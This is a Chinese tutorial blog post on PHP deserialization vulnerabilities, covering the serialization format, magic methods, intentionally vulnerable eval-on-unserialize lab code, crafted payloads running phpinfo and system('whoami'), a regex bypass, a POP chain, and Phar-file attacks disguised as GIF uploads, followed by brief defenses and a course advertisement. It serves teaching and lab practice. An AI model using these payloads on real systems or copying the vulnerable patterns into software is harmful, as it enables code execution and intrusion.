PHP反序列化漏洞(非常详细),零基础入门到精通,看这一篇就够了

Web安全--反序列化漏洞详解(php篇) 反序列化 阅读详情

本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。 这是一篇针对PHP反序列化入门者的手把手教学文章,特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。

序列化介绍

序列化是指将变量转换为一种可保存或传输的字符串形式的过程;

而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。

这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。

例子

将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)

class Person
{
    public $name; //public 修饰的这个成员在任何地方都可以使用
    private $age; //private 修饰的成员只能被 其所在类 的其他成员访问
    protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问

    function sayName()
    {
        echo $this->name;
    }
    function sayAge()
    {
        echo $this->age;    
    }

    function saySex()
    {
        echo $this->sex;
    }

    function __construct($name, $age,$sex)
    {
        $this->name = $name;
        $this->age = $age;
        $this->sex = $sex;//protected修饰的sex
    }
}
$person=new Person('张三',20,'boy');
$person->sayName();//张三
$person->sayAge();//20
$person->saySex();//boy
echo '</br>';
// 序列化:serialize将php的遍历变量(数组、对象等)转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串
echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}
echo "</br>";
// 因为我们需要使用url进行测试,所以将这个转化后的字符串进行url编码,便于之后进行反序列化测试
echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D

get.php进行反序列化,将上面进行url编码的内容传到这个php,进行反序列化(将字符串还原成对象)

<?php
$html =unserialize($_GET['html']);
echo $html;

图片

在上面的代码中我们可以看到序列化之后的内容为,将其进行分段详细解析

O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}

O : 自定义对象 object
6  : 类名的长度
:3 : 3个成员属性
s:4 : 你的成员属性名  长度为4 ,并且是一个字符串   string
s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:20 :  20是age的属性值 , i是代表  integer类型

s:6:"*sex";  sex这个属性是一个受保护的属性,特征就是 * 号

s:3:"boy : 代表 string类型,属性值长度为3位  boy对应是  sex的属性值

private和 protected详解

//protected举例
class Animal
{
    protected $name;
    //构造函数,即当你创建一个新对象时,这个方法会自动被调用,用于被初始化对象。
    //构造函数可以接收参数,这些参数可以用来设置对象的初始状态。
    public function __construct($name)
    {
        $this->name = $name;
    }

    protected function getName()
    {
        echo $this->name ." 小羽网安";
    }
}
///extends继承
class Dog extends Animal
{
    public function __construct($name)
    {
        //调用父类的构造函数
        parent::__construct($name);
    }
//    public function introduce()
//    {
//        //调用父类的eat方法
//        parent::getName();
//        echo $this->name ." Dog类别的输出";
//    }
    public function getDog()
    {
        $this->getName();//调用继承类的getName方法
        echo '<br/>继承之后,继续调用的函数';

    }
}

$myDog=new Dog("<br/>hellow");
$myDog->getDog(); //hellow 小羽网安<br/>继承之后,继续调用的函数
$myName=new Animal("游不动的小鱼丶");
//$myName->getName();//无法从外部访问这个成员,Fatal error: Uncaught Error: Call to protected method Animal::getName() from context 
//$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context
?>

PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名和%00*%00属性名。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。

图片

案例,直接将我们url编码的结果复制到解码工具,会发现每个protected、private属性前面会有个�这个符号就是%00

图片

PHP常见的魔术方法

__construct

用于在创建对象时自动调用,主要用于初始化对象。

<?php  
//声明一个类为Person
class Person {  
    public $name;  
    public $age;  
  
    // 构造函数  
    public function __construct($name, $age) {  
        $this->name = $name;  
        $this->age = $age;  
    }  
  
    // 一个普通的方法,用于显示信息  
    public function displayInfo() {  
        echo "Name: " . $this->name . ", Age: " . $this->age . "<br>";  
    }  
}  
  
// 创建Person对象  
$person1 = new Person("John", 30);  
$person2 = new Person("Jane", 25);  
  
// 调用方法显示信息  
$person1->displayInfo(); // 打印:Name: John, Age: 30  
$person2->displayInfo(); // 打印:Name: Jane, Age: 25  
?>

__destruct

它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作,比如关闭文件、释放资源等。

<?php  
class Person {  
    public $name;  
  
    // 构造函数  
    public function __construct($name) {  
        $this->name = $name;  
        echo "构造函数被调用,对象 {$this->name} 被创建。<br>";  
    }  
  
    // 析构函数  
    public function __destruct() {  
        echo "析构函数被调用,对象 {$this->name} 被销毁。<br>";  
    }  
}  
  
// 创建Person对象  
$person = new Person("John");  
  
// 脚本结束时,$person 对象会被自动销毁,此时会调用 __destruct() 方法  
?>

__toString

它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时。

<?php    
class Person {  
    public $name;  
    public $age;  
  
    // 构造函数  
    public function __construct($name, $age) {  
        $this->name = $name;  
        $this->age = $age;  
    }  
  
    // __toString() 方法  
    public function __toString() {  
        return "Person Object (Name: {$this->name}, Age: {$this->age})";  
    }  
}  
  
// 创建Person对象  
$person = new Person("John", 30);  
  
// 当对象被当作字符串处理时,__toString() 方法会被自动调用  
echo $person; // 打印:Person Object (Name: John, Age: 30)  
?>

__invoke

允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时(例如,$obj()),__invoke() 方法会被自动调用。

<?php  
class Greeter {  
    public $name;  
  
    // 构造函数  
    public function __construct($name) {  
        $this->name = $name;  
    }  
  
    // __invoke() 方法  
    public function __invoke() {  
        echo "Hello, {$this->name}!<br>";  
    }  
}  
  
// 创建Greeter对象  
$greeter = new Greeter("World");  
  
// 当对象被当作函数调用时,__invoke() 方法会被自动调用  
$greeter(); // 打印:Hello, World!  
?>

__call

它在尝试调用一个对象中不可访问的方法时被调用。

class MyClass {  
    private function myPrivateMethod($param1, $param2) {  
        echo "调用了一个私有方法:$param1, $param2\n";  
    }  
  
    public function __call($name, $arguments) {  
        if ($name === 'myPrivateMethod') {  
            return $this->myPrivateMethod($arguments[0], $arguments[1]);  
        } else {  
            echo "尝试调用的方法 '$name' 不存在。\n";  
        }  
    }  
}  
  
$obj = new MyClass();  
$obj->myPrivateMethod('Hello', 'World'); // 调用私有方法  
$obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法

__sleep

它在对象被序列化时调用。(序列化:将一个对象转化为字符串。)

class MyClass {  
    public $prop1 = 'value1';  
    public $prop2 = 'value2';  
    private $prop3 = 'value3';  
  
    public function __sleep() {  
        // 返回不需要被序列化的属性名称数组  
        return array('prop2');  
    }  
}  
  
$obj = new MyClass();  
$serialized = serialize($obj);  
echo $serialized; // 输出序列化后的字符串,其中不包含 $prop2

一.初步认识

写入反序列化文件index.php,通过传参让页面出现phpinfo页面

class one
{
    var $b="phpinfo();";

    function action()
    {
        eval($this->b);//eval:用于执行一段php代码字符串。
    }
}

$a=unserialize($_GET['obj']);//将获取到的参数进行反序列化
$a->action();//执行这个方法

分析payload

O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}

图片

新建一个序列化test.php文件用于存放预构造的代码

<?php  

class one
{
    var $b='eval($_GET[2]);';

    function action()
    {
        eval($this->b);
    }
}

$a=new one();
$a->action();
echo serialize($a);//实例化一个对象,将其序列化的内容打印出来

得到其序列化的结果,在我们的页面最下面

图片

我们将他反序列化–>index.php进行传参

图片

很好,能得到我们的结果,如果你疑问是不是index.php代码中包含了phpinfo(),所以他才能执行

图片

emmm,完全不需要顾虑,我们来验证这个结论,把这个自定义代码删掉

图片

嗯,很好,验证了我们的结论,这个反序列化漏洞,是可以进行任意代码执行的

图片

注意前面那个s,代表着你执行的代码字符串长度,大于或者小于这个长度,都是执行不了的

图片

当然也可以使用这种payload

http://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami');

图片

在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的

二.简单利用

简单利用反序列化index.php代码参考:

<?php
class one
{
    var $b = 'echo 123;';

    function action()
    {
        eval($this->b);
    }
}
class Student
{
    var $a;

    function __construct()
    {
        $this->a = new one();
    }

    function __destruct()
    {
        $this->a->action();
    }
}
unserialize($_GET[1]);

新建一个test.php用于获取序列化结果,获取我们的参数

<?php

class one
{
    var $b = 'echo 123;';

    function action()
    {
        eval($this->b);
    }
}

class Student
{
    var $a;
    //构造函数,对象被实例化即new的时候调用
    function __construct()
    {
        $this->a = new one();
    }
    //折构函数:被销毁时候调用
    function __destruct()
    {
        $this->a->action();
    }
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}}

这时候再回到我们index.php

图片image-20240729094454902

可以正常执行代码,那么我们在test.php修改我们的payload为执行系统命令whoami,获取反序列化的攻击载荷

<?php  

class one
{
    var $b = 'system("whoami");';

    function action()
    {
        eval($this->b);
    }
}

class Student
{
    var $a;
    //构造函数,对象被实例化即new的时候调用
    function __construct()
    {
        $this->a = new one();
    }
    //折构函数:被销毁时候调用
    function __destruct()
    {
        $this->a->action();
    }
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}}

复制这个结果,使用具有反序列化漏洞的index.php进行传参

图片

三、相关绕过

任务:访问当前目录的1.txt文件

构造环境

创建一个1.txt文件,输入任意内容,通过反序列化读取文件内容。

图片

习题代码

<?php
@error_reporting(1);
echo $_GET['data'];
class baby
{
    public $file;
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else
{
    highlight_file("./test4.php");
}
?>

这段PHP代码包含两部分:上部分定义了一个baby类,包含一个file属性和一个__toString魔术方法,用于读取并返回文件内容。下部分接收GET请求中的data参数,进行过滤后反序列化,并打印结果。理解这两部分的关系,特别是类的序列化形式,对于执行预期操作至关重要。

既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化

图片

同上面一样构造序列化test.php

<?php

@error_reporting(1);
echo $_GET['data'];
class baby
{
    //构造你要读取的文件
    public $file="1.txt";
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
echo serialize(new baby());

图片image-20240729103212871

.过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验

图片

可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)

payload  O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";}

图片

四、开始上手

任务:读取 flag.游不动的鱼宝丶

class A
{
    public $mod1;
    public $mod2;
    //对象销毁之后调用
    public function __destruct()
    {
        $this->mod1->test1();  
    }
}

class B
{
    public $mod1;
    public $mod2;

    public function test1()
    {
        $this->mod1->test2();
    }
}

class C
{
    public $mod1;
    public $mod2;
    //__call尝试调用一个对象中不可访问的方法时被调用。
    public function __call($test2, $arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}

class D
{
    public $mod1;
    public $mod2;
    //__invoke允许一个对象像函数那样被调用
    public function __invoke()
    {
        $this->mod2 = "字符串拼接" . $this->mod1;
    }
}

class E
{
    public $str1;
    public $str2;

    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}

class GetFlag
{
    public function get_flag()
    {
        echo "flag:" . "游不动的鱼宝丶";
    }
}

$a = $_GET['obj'];
unserialize($a);

我们来分析代码,E类中的魔术方法调用了GetFlag类中的方法

图片
这里的字符串拼接,调用了**__toString**魔术方法

图片image-20240729141613497

C类中的成员以函数的形式调用了自己的成员

图片

B类中的函数调用了C类中的$test2成员

图片

最后销毁

图片
代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法

<?php
class A
{
    public $mod1;
    public $mod2;
    //通过 __construct()魔术方法,创建对象的时候自动调用
    public function __construct()
    {
        $this->mod1 = new  B();
    }
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class B
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new  C();
    }
    public function test1()
    {
        $this->mod1->test2();
    }
}
class C
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new  D();
    }
    public function __call($test2, $arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class D
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new  E();
    }
    public function __invoke()
    {
        $this->mod2 = "字符串拼接" . $this->mod1;
    }
}
class E
{
    public $str1;
    public $str2;
    public function __construct()
    {
        $this->str1 = new  GetFlag();
    }
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:" . "游不动的鱼宝丶";
    }
}
$c = new A;
echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

序列化输出结果

图片image-20240729143728469

得到payload

O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

使用具有该反序列化漏洞的index.php

图片

总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。

Phar文件和Phar协议

前言

❝

在PHP应用中,随着代码安全性的提升,直接利用unserialize()函数的反序列化漏洞变得越来越困难。为了绕过这一限制,攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性,为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()调用或缺乏传参接口的情况下,攻击者仍可以通过可控的文件系统函数,配合phar://伪协议,实现不依赖unserialize()的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站,然后通过特定方式触发反序列化,即可达到攻击目的。

phar文件详解

❝

Phar文件是一种PHP归档格式,用于将多个PHP代码文件及其他资源(如图像、样式表等)打包成一个文件,便于应用程序和库的分发。其独特之处在于,它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时,会自动触发meta-data的反序列化过程。

phar文件分为四层

  1. Stub(存根):Phar文件的文件头,必须以<?php xxx __HALT_COMPILER(); ?>结尾,其中xxx可以是自定义的任何字符,如果不定义则默认为<?php __HALT_COMPILER(); ?>。
  2. Manifest(清单):包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时,Manifest中的序列化字符串是攻击的主要目标。
  3. Contents(内容):包含了实际的文件内容,比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储,以节省空间并便于分发。
  4. Signature(签名)(可选):验证Phar文件的完整性和真实性。
生成phar文件
1.准备环境

1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

php配置

图片

具体index.php代码,phar文件生成

<?php
class AnyClass{
    var $output = 'phpinfo();';
    function __destruct()
    {
        eval($this -> output);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问index.php生成phar文件

图片

查看目录

图片

这里就有了序列化之后的结果

图片

❝

Tips : phar.phar文件是在本地生成后上传到目标网站的。配合phar协议和相关函数,它可以构成反序列化攻击的杀伤链。因此,前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于:

  1. phar文件必须能上传到服务器;
  2. 存在可用的魔术方法作为攻击的“跳板”;
  3. 文件操作函数的参数可控,且特殊字符如./、../、phar等未被过滤。

php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :

文件操作函数

图片

绕过技巧

1.环境限制了phar不能出现在前面的字符里
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
2.验证文件格式
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
3、绕过上传后缀检查

即使将文件后缀改为gif也不影响phar的文件最终执行

图片

执行index.php

图片

一.初步了解

任务:目标1.php界面任务执行phpinfo()

1、index.php代码(具有phar协议反序列化漏洞的代码)

<?php
class Files
{
    var $b = 'echo ok;';
    function __destruct()
    {
        eval($this->b);
    }
}
//$file = '../'.$_GET['file'];
is_dir('phar://phar.phar/test.txt');

2、test.php攻击代码

<?php
class Files{
    var $b = 'phpinfo();';
    function __destruct()
    {
        eval($this -> b);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new Files();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

图片

这里我们执行我们的攻击代码,生成phar.phar文件

图片

可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)

图片

生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了,执行成功

图片

看不出效果?那么这样呢

图片

访问test.php,为空白界面

图片

查看文件

图片

对payload的obj参数进行传参

图片
执行系统命令

图片

二、进一步了解

通过phar协议读取Destruct called

目标文件

class TestObject
{
    public function __destruct()
    {
        echo 'Destruct called';
    }
}

$filename = $_GET['cmd'];
file_get_contents($filename);

图片

分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码

1、同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中

phar.phar文件生成

图片

成功利用phar协议,执行了具有phar协议反序列化漏洞的php文件,并成功获取到了魔术方法中的内容

图片

扩展:练习

具体代码

class Test
{
    public $num = 2;

    public function __destruct()
    {
        if ($this->num === 1) {
            echo 'flag{123}';
        }
    }
}
echo file_get_contents($_GET['data']);

图片

(关键在于构建恶意的代码,关注点在num=1)

图片

再深入

任务:通过phar协议执行phpinfo

详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.

环境准备

1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件

2.www/目录(网站根目录)下新建upload_file文件夹

3.各个文件内容及解释

<?php
if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"])) {
        echo $_FILES["file"]["name"] . " already exists. ";
    } else {
        move_uploaded_file($_FILES["file"]["tmp_name"],
            "upload_file/" . $_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
} else {
    echo "Invalid file,you can only upload gif";
}

upload_file.php:内容做了一个上传文件后缀的限制

upload_file.php

图片

index.php 提供一个上传界面

<body>
<form action="/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

图片

page.php 目标可控点

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);//用于检查文件或目录是否存在

page.php

图片

分析

1.目标存在可控点以及文件操作函数

page.php分析

图片
受影响的文件操作函数表

图片

2.只有upload_file.php的对上传文件的后缀和类型进行限制,但是!我们phar文件也可以使用gif后缀!文章中有提到,可以仔细看一看。

图片
所以这题我们就可以使用phar协议进行漏洞复现

开始解题

1、构造上传文件phar,test.php

<?php  
class AnyClass{
    var $output = 'phpinfo();';
    function __destruct()
    {
        eval($this -> output);
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

图片

检查我们的payload

图片

改文件名

图片

上传之前,新建一个upload_file文件夹

图片image-20240730001326080

因为这里测试的文件上传代码保存在这个文件夹中

图片

开始上传

图片
上传成功

图片

执行我们的payload漂亮!

图片

反序列化漏洞预防

使用安全的序列化/反序列化库

  • 选择经过安全审计的、维护良好的序列化库。
  • 避免使用已知存在安全漏洞的库。

限制反序列化的类型

  • 只允许反序列化预定义、可信的类。
  • 使用类型安全的序列化机制,如Java中的ObjectOutputStream和ObjectInputStream时,可以使用enableSubstitution方法来限制反序列化的类。

数据完整性验证

  • 在序列化和反序列化过程中,使用数字签名或消息认证码(MAC)来验证数据的完整性。
  • 确保序列化数据在传输过程中未被篡改。

定期审计和测试

  • 定期对应用程序进行安全审计,以识别潜在的反序列化漏洞。
  • 使用自动化工具和手动测试方法来检测和利用反序列化漏洞。

原文有一定缺陷,在本文已修复,并且本文也比较通俗易懂

文章参考:https://www.freebuf.com/articles/web/347246.html

零基础入门网络安全/信息安全

【----帮助网安学习,以下所有学习资料文末免费领取!----】

> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集(含答案)
> ⑧ APP客户端安全检测指南(安卓+IOS)

大纲

首先要找一份详细的大纲。

img

学习教程

第一阶段:零基础入门系列教程

img

该阶段学完即可年薪15w+

第二阶段:技术入门

弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞

该阶段学完年薪25w+

img

阶段三:高阶提升

反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练

该阶段学完即可年薪30w+

面试刷题

img

在这里插入图片描述

最后,我其实要给部分人泼冷水,因为说实话,上面讲到的资料包获取没有任何的门槛。

但是,我觉得很多人拿到了却并不会去学习。

大部分人的问题看似是“如何行动”,其实是“无法开始”。

几乎任何一个领域都是这样,所谓“万事开头难”,绝大多数人都卡在第一步,还没开始就自己把自己淘汰出局了。

如果你真的确信自己喜欢网络安全/黑客技术,马上行动起来,比一切都重要。

资料领取

上述这份完整版的网络安全学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码 ↓↓↓ 或者 点击以下链接都可以领取

点击领取 《网络安全&黑客&入门进阶学习资源包》

PHP反序列化漏洞(详细篇) 序列化是指将数据结构或对象转换为一串字节流的过程,使其可以在存储、传输或缓存时进行持久化。反序列化是将数据从序列化的形式转换回其原始的数据结构或对象的过程。在PHP中,魔术方法(Magic Methods)是一组预定义的特殊方法,它们以双下划线(__)开头和结尾。这些方法会在对象的特定时刻自动调用,从而允许程序员在对象生命周期的不同阶段执行自定义操作。魔术方法使得在类中实现某些行为变得更加灵活和便捷。pop链就是利用了PHP中对象的自动调用魔术方法特性,将多个类和方法串联起来形成一个。 阅读详情

相关推荐

详解PHP反序列化漏洞

PHP反序列化学习序列化与反序列化定义常见使用情况常见的序列化格式反序列化中常见的魔术方法反序列化绕过protected和private绕过__wakeup绕过(CVE-2016-7124)引用利用16进制绕过字符过滤同名方法的利用绕过部分正则字符逃逸字符增多字符减少 序列化与反序列化 定义 序列化(串行化):是将变量转换为可保存或传输的字符串的过程; 反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用; 这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性; 常见的php

LYJ20010728的博客 3318

反序列化漏洞(PHP)

反序列化漏洞 0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性 0x02. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构 0x03. 序列化和反序列化代码示例 <?php class User { public $username = 'admin'; public $password = '123456';

qq_42383069的博客 6806

反序列化漏洞汇总

JAVA反序列化、PHP反序列化,场景容器反序列化利用过程

buffedon的博客 5308

php反序列化漏洞(万字详解)

php反序列化万字文章详解,非常全面,并结合实际案例易于理解,包括pop链、字符串逃逸、session反序列化、phar反序列化、原生类的利用以及各种绕过方式。

永不落的梦想 8727

php 反序列化漏洞

什么是序列化 序列化即 将对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象 简单来说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信 。 反序列分为PHP反序列和java反序列化,下面就以PHP反序列化漏洞为切入点,讲述反序列化漏洞核心的原理,其他Java、Python等语言的反序列化漏洞,其原理基本相通。 PHP中的序列化和反序列化

渗透之路,攻防之间皆学问 6271

STM32F4用FSMC驱动AX58100 EtherCAT从站芯片,保姆级配置流程与避坑指南

本文详细介绍了STM32F4通过FSMC接口驱动AX58100 EtherCAT从站芯片的完整配置流程,包括硬件连接、时序优化、协议栈移植及TwinCAT主站集成。针对工业自动化场景,提供高性价比的实时控制解决方案,特别适合机械臂、CNC机床等精确同步应用,并分享关键调试技巧与性能优化方法。

weixin_27869497的博客 308

php反序列化漏洞(非常详细),零基础入门到精通,看这一篇就够了

php反序列化漏洞(非常详细),零基础入门到精通,看这一篇就够了

隔壁王叔的博客 1477

SRC漏洞挖掘实战指南:从零入门到月入过万的网络安全副业

网络安全的核心在于识别和修复系统缺陷,其中逻辑漏洞与信息泄露是常见的安全风险。其原理在于应用程序在业务逻辑设计或数据处理过程中存在缺陷,导致未授权访问或敏感数据暴露。掌握这些技术对于构建安全的应用体系至关重要,不仅能有效防范攻击,也为安全研究人员提供了将技术能力变现的合法途径。在漏洞赏金(Bug Bounty)和SRC(安全应急响应中心)等应用场景中,白帽子通过系统化的测试方法,挖掘此类漏洞,既能获得经济回报,又能积累宝贵的实战经验。本文聚焦于逻辑漏洞与信息泄露的实战挖掘技巧,为初学者提供清晰的入门路径和效

weixin_28568819的博客 351

PHP序列化反序列化漏洞总结(一篇懂)

文章目录序列化和反序列化的概念与基础知识PHP的序列化访问控制修饰符PHP的反序列化PHP反序列化漏洞(常规)__wakeup()__destruct()示例一:示例二(连菜刀、反序列化免杀后门):__toString()Error类ExceptionPHP中Session反序列化(重点)简介与基础知识Session序列化漏洞利用PHP Session中的序列化危害实际利用CTF例题 序列化和反...

qq_45521281的博客 9293

01 高等数学 上下册知识点总结

极限与连续 8个等价无穷小 8个常用泰勒公式 高数复习——多元函数微分学 一、概念 一元函数: 可微<=>可导 △y=A△x+o(△x)dy=AdxA=f′(x)\triangle y=A\triangle x+o(\triangle x)\\dy=Adx\\A=f'(x)△y=A△x+o(△x)dy=AdxA=f′(x) 多元函数: 可微=>可导(可导指两个偏导数存在,反之不成立) 可微=>连续(反之不成立) △z=A△x+B△y+o(p)dz=Adx+BdyA=δzδxdx

qq_44292038的博客 1万+

别再死磕U-Net了!用PyTorch手把手教你搭建ResUnet,搞定医学图像分割(附完整代码)

本文详细介绍了如何利用PyTorch搭建ResUnet模型,通过引入残差连接解决医学图像分割中的梯度消失、特征退化和细节丢失问题。与传统U-Net相比,ResUnet在Dice系数和收敛速度上均有显著提升,特别适合处理脑部MRI等复杂医学图像。文章还提供了完整的代码实现和关键训练技巧,帮助开发者快速掌握这一先进技术。

weixin_42552637的博客 327

awvs使用教程(非常详细),零基础入门到精通,看这一篇就够了

awvs使用教程(非常详细),零基础入门到精通,看这一篇就够了

分享Python知识 1万+

